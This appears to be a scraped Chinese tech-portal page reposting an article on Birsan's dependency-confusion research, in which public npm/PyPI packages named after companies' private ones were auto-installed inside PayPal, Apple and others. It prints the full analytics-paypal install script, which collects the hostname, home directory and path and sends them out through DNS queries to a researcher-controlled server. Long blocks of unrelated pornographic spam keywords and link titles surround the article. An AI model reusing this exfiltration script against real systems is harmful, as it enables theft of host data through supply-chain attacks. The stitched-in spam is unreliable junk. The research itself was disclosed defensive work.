精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

利用 Npm 的缺陷,他獲得了 130,000 美元的賞金

新聞
一個搞安全的程序員 Birsan, 利用 npm 的設計缺陷,成功進入了 35 個公司的內網系統,這些公司還是非常出名的,包括 Microsoft、Apple、PayPal、Tesla、Uber 等,也因此獲得了超過 130,000 美元的賞金。那么他是怎么做到的呢?

 [[390104]]

最近看到一個新聞,開眼了。

一個搞安全的程序員 Birsan, 利用 npm 的設計缺陷,成功進入了 35 個公司的內網系統,這些公司還是非常出名的,包括 Microsoft、Apple、PayPal、Tesla、Uber 等,也因此獲得了超過 130,000 美元的賞金。那么他是怎么做到的呢?

一些包管理工具,比如說 Python 的 pip,Node.js 的 npm,Java 的 maven,可以從開源的倉庫下載軟件包,同時自動管理依賴項。其實我們都假設這些軟件包是安全的,事實上,每個人都可以制作并上傳自己開發的軟件,一旦有人不懷好意,上傳一些別有用心的軟件包,你下載后軟件會自動安裝和執行,這就相當于被黑了。

問題是如何讓別人下載呢?開源軟件的代碼是公開的,有問題的軟件包被下載的概率很低,前攻擊者會依靠社會工程手段或將軟件命名為正常名稱易拼寫出錯的名稱,安裝時一旦拼寫錯誤,就下載了惡意軟件。這種方式有一定的局限性,只要稍微認真點,就不會出錯。

而 Birsan 用的是非常隱蔽的方式,就算軟件包的名稱完全正確,也有可能下載到惡意軟件。具體的過程是這樣的:

Birsan 發現了 PayPal 內部使用的 package.json,這里面有一些軟件包并不在公共倉庫中:

上圖中標紅色的部分,是 PayPal 內部使用的 npm 軟件包,由公司內部使用和存儲。看到這一點,Birsan 想知道,這些軟件包是私有的,如果在公共 npm 存儲庫中存在同名的軟件包會怎么樣?

為了檢驗這個假設,Birsan 開始尋找一些私有內部軟件包的名稱,這可以在 GitHub 倉庫或知名公司的 CDN 中的清單文件中找到,這些軟件包在公共開放源代碼倉庫中是不存在的。

然后,Birsan 在開源存儲庫(例如 npm,PyPI 和 RubyGems)上使用相同的名稱創建偽造項目。這些偽造的項目都是在他的真實帳戶下完成的,并且有免責聲明,并聲明此程序包用于安全研究目的,并且不包含任何有用的代碼。

結果發現,這些包管理工具會優先下載公共存儲庫上的軟件包,如果不指定軟件包的版本號,則優先下載高版本的軟件包。這樣,Birsan 只需發布與公司內部名稱相同的軟件包,就可以成功地對 Microsoft,Apple,PayPal,Shopify,Netflix,Tesla,Yelp 和 Uber 進行攻擊。

那么你可能想知道,如何進行攻擊的呢?軟件包管理器,比如 pip,npm,具有預安裝腳本,一旦下載就會進行安裝,安裝過程執行的代碼就是黑客寫好的代碼,至于這些代碼具體能做什么事情,寫過程序的人都知道,你可以發揮想象。鑒于大多數公司網絡都被保護的很好,想滲透沒那么容易,Birsan 使用的是 DNS 滲透。

下面顯示的代碼就是 Birsan 制作的 npm 軟件包 analytics-paypal(該軟件包現在已從 npm 中刪除)。

  1. const dns = require('dns'); 
  2. const os = require("os"); 
  3.  
  4. const suffix = '.dns.alexbirsan-hacks-paypal.com'
  5. const package = 'analytics-paypal'
  6.  
  7. data = package +  
  8.     '__' + os.hostname() + 
  9.     '__' + os.homedir() + 
  10.     '__' + __dirname; 
  11.  
  12. data = data.replace(/[^a-zA-Z0-9._]/g, 
  13.     function(m){ 
  14.         return '_' + m.charCodeAt(0).toString(16); 
  15.     }); 
  16.  
  17. data = data.match(/.{1,50}/g); 
  18.  
  19. dns.setServers(['46.101.225.109']); 
  20.  
  21. id = Math.random().toString(36).substring(7); 
  22.  
  23. data.forEach(function(chunk){ 
  24.     dns.resolve(id + '.' + chunk + suffix, 'A',console.log) 
  25. }); 

該腳本將在 analytics-paypal 依賴項被下載后立即自動啟動,并向 dns.alexbirsan-hacks-paypal.com 發出 DNS 請求。從 PayPal 系統收到的回叫會提醒 Birsan,發出請求的 IP 屬于貝寶 PayPal ,以及用戶名和受感染系統的主目錄。

充分驗證這些假冒的軟件包已成功滲透到公司網絡后,Birsan 隨后將其報告給這些被入侵的公司,并因此獲得賞金。這些漏洞賞金計劃讓 Birsan 累計獲得了 13 萬美元的獎勵。

那么這些公司都是如何修復的呢?修復可能會比較難,因為 pip,npm 是開源工具,工具本身存在缺陷,解鈴還須系鈴人,最好的解決辦法就是維護一個健康的開源生態,比如給這些工具提供更安全的配置,對開源倉庫中提交的軟件包進行審核等等。

開源工具的缺陷并不是某一公司的問題,但可以對這些缺陷進行緩解,比如對于私有的軟件包,使用前可以進行簽名校驗,確保該軟件包來自于公司內部。

最后的話

我自己使用 pip,npm 時只是覺得它們如此的方便,非常依賴它們,以至于從未懷疑這些工具也存在安全問題,所謂最依賴的工具一旦出了問題也是最致命的,如果你的公司也存在類似的情況,是時候做出一些改進了。

從 Birsan 的經歷中也可以看出,如果你有一個有趣的想法,請立即去驗證它,無論結果如何,你都不虛此行。

本文轉載自微信公眾號「Python七號」,可以通過以下二維碼關注。轉載本文請聯系Python七號公眾號。

 

責任編輯:武曉燕 來源: Python七號
相關推薦

2021-12-09 11:48:17

勒索軟件惡意軟件安全

2020-12-01 22:23:45

物聯網投資回報IOT

2010-02-24 09:13:04

2021-05-24 09:35:21

黑客源代碼訪問權限

2021-07-21 20:26:34

Google地圖交通擁擠

2023-08-13 16:10:05

Windows 10Windows 11

2011-08-11 15:27:45

網康國家專利

2021-12-01 07:26:12

AIOps企業

2010-08-05 10:09:42

屏蔽連接件元器件西蒙

2021-07-15 17:31:44

無人機人工智能AI

2015-07-02 16:56:00

程序員能力

2017-10-12 13:00:22

LinuxRISC-V多核開源處理器

2022-01-26 07:47:22

黑客漏洞網絡安全

2019-07-10 16:45:49

LinuxLinux游戲游戲性能

2020-06-15 15:52:00

惡意軟件黑客網絡攻擊

2020-08-31 08:02:48

黑客漏洞網絡攻擊

2024-01-25 16:03:24

2018-05-31 11:24:53

維諦技術

2025-04-11 15:31:34

2015-12-03 17:28:21

Veeam
點贊
收藏

51CTO技術棧公眾號

国产精品17p| 日韩在线观看www| 久久国产欧美| www.午夜精品| 给我免费观看片在线电影的| 欧美男体视频| 亚洲日本青草视频在线怡红院| 国产精品视频在线免费观看| 在线观看色网站| 亚洲激情影院| 久久精品久久久久久国产 免费| 国产又黄又嫩又滑又白| 台湾佬中文娱乐久久久| 一区二区高清视频在线观看| 欧美一区二区在线视频观看| 亚洲第一页视频| 日韩精品一卡二卡三卡四卡无卡| 欧美国产极速在线| 成人信息集中地| 亚洲国产合集| 亚洲变态欧美另类捆绑| 三级在线视频观看| 中文字幕乱码中文乱码51精品| 1区2区3区国产精品| 青青草原成人| 天堂中文在线观看视频| 国内成人自拍视频| 国产精品久久久久国产a级| 国产成人亚洲欧洲在线| 欧美女激情福利| 日韩一区二区欧美| 超碰人人干人人| 久久av综合| 亚洲国产精品久久91精品| 人妻换人妻仑乱| 精品乱码一区二区三区四区| 91福利资源站| 韩国日本在线视频| 少妇在线看www| 亚洲国产日产av| 日韩一级特黄毛片| av网站在线免费| 亚洲丝袜美腿综合| 一区二区三区在线视频看| 韩国中文免费在线视频| 久久久无码精品亚洲日韩按摩| 国产欧美韩日| 日本激情一区二区三区| 成人一级片网址| 国产精品三区在线| 黄色片一区二区| 福利91精品一区二区三区| 5566中文字幕一区二区| www.污视频| 国产成人精品亚洲日本在线桃色 | 国产成人久久精品77777最新版本| 国产精品视频久久久| 欧美激情一区二区三区免费观看 | 欧美日韩国产一级片| the porn av| 亚洲欧美在线综合| 日韩欧美中文字幕制服| 亚洲精品久久一区二区三区777 | 日韩在线中文字| 永久免费未视频| 综合一区在线| 久久人人爽人人| 少妇太紧太爽又黄又硬又爽| 亚洲狼人精品一区二区三区| 日韩美女福利视频| 亚洲最新av网站| 国产精品99久久久久久宅男| 国产精品精品软件视频| 人成在线免费视频| 国产精品视频yy9299一区| 欧美aaa在线观看| free性欧美| 色综合天天性综合| 久久国产这里只有精品| 日韩中文字幕无砖| 国产午夜精品麻豆| 国产色无码精品视频国产| 在线精品观看| 国产精品免费一区二区三区都可以| 国产精品美女一区| 国产激情一区二区三区| 久久爱av电影| 超碰人人在线| 欧美日韩人人澡狠狠躁视频| 艹b视频在线观看| 91精品国产乱码久久久竹菊| 一区二区三区日韩在线| 免费一级肉体全黄毛片| 日韩精品国产欧美| 成人动漫视频在线观看免费| 国产专区在线播放| 一区二区三区欧美亚洲| 欧美日韩在线成人| 国产精品男女| 日韩一区二区福利| 天码人妻一区二区三区在线看| 激情成人综合网| 欧美日韩精品久久| 免费影视亚洲| 欧美日韩精品电影| av网站有哪些| 欧美777四色影| 国产精品久久久久久久久久久久 | 中文字幕一区二区三区四区不卡| 成人性免费视频| 国产精品xxx| 日韩精品中文字幕视频在线| 久久久久成人网站| 卡一卡二国产精品| 久久精品日韩精品| а_天堂中文在线| 这里只有精品电影| 免费看黄色av| 亚洲免费婷婷| 极品尤物一区二区三区| 女囚岛在线观看| 91精品久久久久久久99蜜桃 | 男人av在线| 午夜免费久久看| av在线天堂网| 欧美成人中文| 91亚洲永久免费精品| 爱久久·www| 色欧美88888久久久久久影院| 国产精品一区二区人妻喷水| 欧美人成网站| 99精彩视频| 免费电影视频在线看| 这里只有精品电影| avtt天堂在线| 国产乱人伦偷精品视频不卡| av不卡在线免费观看| 欧美91在线|欧美| 在线观看91久久久久久| 亚洲精品毛片一区二区三区| 久久久久久久一区| 一本色道无码道dvd在线观看| 天海翼精品一区二区三区| 97精品国产97久久久久久免费| 亚洲毛片在线播放| 亚洲成av人在线观看| 色综合久久五月| 亚洲日本免费| 蜜桃网站成人| 欧美日韩免费看片| 在线成人激情视频| 国产乱码久久久| 亚洲精品亚洲人成人网| www.com日本| 夜夜嗨一区二区三区| 欧美成人综合一区| 成人1区2区| 久久在线精品视频| 好吊视频一区二区三区| 丁香五六月婷婷久久激情| 右手影院亚洲欧美| 日本vs亚洲vs韩国一区三区二区| 亚洲一区二区精品在线| 麻豆国产精品| 97国产精品免费视频| 男人的天堂在线| 欧美猛男gaygay网站| 欧美大片xxxx| 99r精品视频| 一级特黄性色生活片| 性欧美69xoxoxoxo| 成人三级视频在线观看一区二区| 美女露胸视频在线观看| 亚洲一区二区福利| 性一交一乱一乱一视频| 欧美日韩综合视频| 大地资源高清在线视频观看| 国产白丝精品91爽爽久久 | 麻豆精品在线视频| 日本aa在线观看| 国产调教精品| 国产精品黄页免费高清在线观看| 好操啊在线观看免费视频| 日韩成人在线电影网| 无码人妻av免费一区二区三区| 中文字幕亚洲欧美在线不卡| 五月天丁香社区| 日韩高清在线电影| av无码久久久久久不卡网站| 欧美伦理在线视频| 国产精品夜夜夜一区二区三区尤| 四虎4545www精品视频| 欧美国产亚洲精品久久久8v| 东热在线免费视频| 亚洲大胆人体视频| 一级欧美一级日韩| 黑人巨大精品欧美一区二区| 在线免费观看亚洲视频| 国产农村妇女精品| 香蕉视频污视频| 久久99精品国产麻豆婷婷| 18禁免费观看网站| 欧美福利电影在线观看| 新呦u视频一区二区| 黑人久久a级毛片免费观看| 国产日韩在线视频| 性欧美gay| 9.1国产丝袜在线观看| h片在线观看网站| 一区二区国产精品视频| 日本精品久久久久| 日韩精品中午字幕| 国产精品无码天天爽视频| 色狠狠色狠狠综合| 日韩成人免费观看| 亚洲一区二区三区在线看| 侵犯稚嫩小箩莉h文系列小说| 日本一区二区免费在线观看视频| 六十路息与子猛烈交尾| 国产激情视频一区二区三区欧美 | 午夜免费精品视频| aⅴ色国产欧美| 免费毛片网站在线观看| 国内一区二区三区| 成人在线观看www| 小处雏高清一区二区三区| 三区精品视频| 欧美肉体xxxx裸体137大胆| 久久久久久久有限公司| 人妖一区二区三区| 国产日韩精品推荐| 国产精品1luya在线播放| 91超碰rencao97精品| 清纯唯美激情亚洲| 亚洲曰本av电影| 日韩在线成人| 99九九视频| 好吊妞视频这里有精品| 国产一区二区三区色淫影院 | 国产麻豆视频精品| 五月天视频在线观看| 免费观看在线综合色| 永久免费的av网站| 久久99精品久久久久久动态图 | 国产男女猛烈无遮挡| 欧美一区二区三区小说| 国产精品久久欧美久久一区| 正在播放一区二区| 精品国产亚洲av麻豆| 欧美xxxx在线观看| 日本ー区在线视频| 色综合影院在线| 伊人影院在线视频| 久久久免费av| 欧美一区国产| 国产日韩换脸av一区在线观看| 97色婷婷成人综合在线观看| 亚洲自拍偷拍色片视频| 精品亚洲免a| 色一情一乱一伦一区二区三欧美| 97视频精品| 日本大胆人体视频| 亚洲专区一区| 黄色免费网址大全| 国产一区高清在线| 亚洲自拍偷拍精品| 国产女主播一区| www日韩在线| 亚洲国产日韩精品| 天天操天天干天天摸| 在线不卡中文字幕播放| 黄频网站在线观看| 国产亚洲精品91在线| 成人影院www在线观看| 性视频1819p久久| 二吊插入一穴一区二区| 91社区国产高清| 久久99偷拍| 在线看无码的免费网站| 亚洲精选国产| 国产精品v日韩精品v在线观看| 国产成人午夜电影网| 国产手机在线观看| 一区二区三区四区av| www.com亚洲| 精品蜜桃在线看| 大片免费播放在线视频| 欧美丰满少妇xxxx| 成人国产网站| 国产综合18久久久久久| 99久久www免费| 免费欧美一级视频| 国产精品自产自拍| 精品无码在线观看| 午夜免费久久看| 国产三级小视频| 国产一区二区三区视频在线观看| 丁香花视频在线观看| 国产色综合天天综合网| 亚洲a级精品| 久久亚洲精品无码va白人极品| 蜜芽一区二区三区| 粉嫩av懂色av蜜臀av分享| 亚洲欧美日韩在线不卡| 成人免费视频国产免费| 日韩av一区二区在线观看| av免费在线观| 91精品美女在线| 国产欧美日韩视频在线| 91九色在线观看视频| 国产91精品一区二区麻豆亚洲| 亚洲国产精品一区二区久久hs| 一本久久综合亚洲鲁鲁五月天| 午夜精品久久久久久久爽| 日韩有码在线电影| av一区在线| 欧美一区二区三区四区五区六区| 亚洲巨乳在线| 中文字幕乱码在线| 亚洲自拍偷拍麻豆| 亚洲国产av一区二区| 日韩少妇与小伙激情| 欧美美女福利视频| 亚洲国产欧美一区二区三区不卡| 久久精品官网| 性高潮久久久久久久| 岛国av一区二区在线在线观看| 天堂v在线观看| 久久免费视频网| 国产精品极品| 丁香六月激情婷婷| 丁香婷婷综合激情五月色| 欧美成欧美va| 日韩欧美一区二区不卡| 99福利在线| 999国内精品视频在线| 欧美日韩亚洲一区三区| 人妻精品久久久久中文字幕69| 亚洲精品美腿丝袜| 丰满少妇被猛烈进入| 欧美劲爆第一页| 国产精品x8x8一区二区| 可以看毛片的网址| 91在线精品一区二区| 麻豆成人免费视频| 国产一区二区三区丝袜| 色999久久久精品人人澡69 | 成人无码精品1区2区3区免费看| 精品视频免费在线| 国产精品久久麻豆| 91亚色免费| 国产精品毛片一区二区三区| 国产男男chinese网站| 欧美视频一区二区在线观看| 日本在线观看| 亚洲综合中文字幕68页| 极品av少妇一区二区| 国产人妻人伦精品1国产丝袜| 欧美午夜精品在线| 三区四区在线视频| 国产高清精品一区二区| 午夜亚洲性色福利视频| 国产综合精品久久久久成人av| 欧美日韩免费高清一区色橹橹| aaa大片在线观看| 国产日本一区二区三区| 日产欧产美韩系列久久99| 日韩三级久久久| 亚洲第一精品夜夜躁人人躁| av日韩亚洲| 正在播放一区| 99re视频精品| 中文字幕免费播放| 色综合久久88| 亚洲人成伊人成综合图片| 天天影视色综合| 亚洲18女电影在线观看| 91青青在线视频| 国产精品二区在线观看| 日韩福利视频导航| 国产亚洲精久久久久久无码77777| 亚洲欧美国产制服动漫| 国产日韩中文在线中文字幕| 精品久久一二三| 亚洲视频在线一区二区| 亚州av在线播放| 96国产粉嫩美女| 久久精品亚洲| 久久久久香蕉视频| 少妇精69xxtheporn| 欧美黑白配在线| caoporm在线视频| 欧美性猛交xxxx免费看| 天天干在线视频论坛| 天堂一区二区三区| 91在线高清观看| 午夜精品久久久久久久第一页按摩| 国产精品444| 一本色道久久| 免费一级全黄少妇性色生活片|